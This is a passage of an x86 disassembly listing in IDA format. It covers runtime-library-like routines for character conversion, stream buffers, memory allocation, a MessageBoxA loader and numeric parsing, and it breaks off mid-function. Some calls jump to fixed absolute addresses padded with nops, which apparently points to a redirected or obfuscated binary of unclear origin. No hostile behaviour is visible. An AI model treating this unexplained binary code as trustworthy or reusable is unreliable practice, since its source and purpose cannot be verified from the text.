		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_436648
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4366F0, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	dword_4366F0, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------

loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	dword_4366F0, eax

loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	dword_4366EC, ecx

loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	dword_4366E8, ebx

loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx

loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax

loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	dword_4CDA48, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax

loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420EDC:				; CODE XREF: sub_420E98+2Fj
		mov	ecx, off_433C70
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, dword_433E7C
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4CDA58
		call	near ptr 2630000h
		nop
		test	eax, eax
		mov	eax, dword_433E7C
		jnz	short loc_420EBD

loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD

loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4CDA58
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
sub_420E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	dword_433E7C, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB

loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax

loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax

loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: ___:0041F15Ap

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4CEF01[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, word_433C7A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------

loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax

loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------

loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4CDC7C, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2710000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, dword_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4CDC7C, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4CDC80, eax
		call	esi
		mov	dword_4CDC84, eax

loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, dword_4CDC80
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, dword_4CDC84
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax

loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4CDC7C

loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi

loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4CF020
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------

loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, dword_435EB4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192

loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	dword_4CF024
		call	near ptr 2720000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C

loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	dword_4CDA14, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------

loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]

loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi

loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------

loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7

loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4CECC0, esi
		jle	short loc_4211EC

loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, dword_4CDCB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi

loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, dword_4CDCB0
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, dword_4CDCB0
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, dword_4CECC0
		jl	short loc_4211A8

loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4CEDE0
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi

loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------

loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	dword_4CD9B8, 5
		jnz	short loc_4212C3
		mov	dword_4CD9B4, 0Dh

loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh

loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------

loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		call	near ptr 25D0000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	dword_4CD9B4, 0Dh
		nop
		call	near ptr 2660AEBh
		mov	dword_4CD9B8, eax

loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------

loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	dword_4CD9B4, 9

loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh

loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350

loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax

loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]

loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]

loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax

loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi

loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------

loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h

loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------

loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C

loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------

loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi

loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump

loc_421542:				; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553

loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------

loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, byte_433E80
		jnz	short loc_421562

loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------

loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421588:				; CODE XREF: sub_4214D8+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C

loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, byte_433E80
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B

loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B

loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C

loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, byte_433E80
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0

loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3

loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	dword_433E7C, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------

loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------

loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]

loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------

loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, byte_433E80
		jnz	short loc_4216CD

loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686

loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------

loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	dword_433E7C, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------

loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
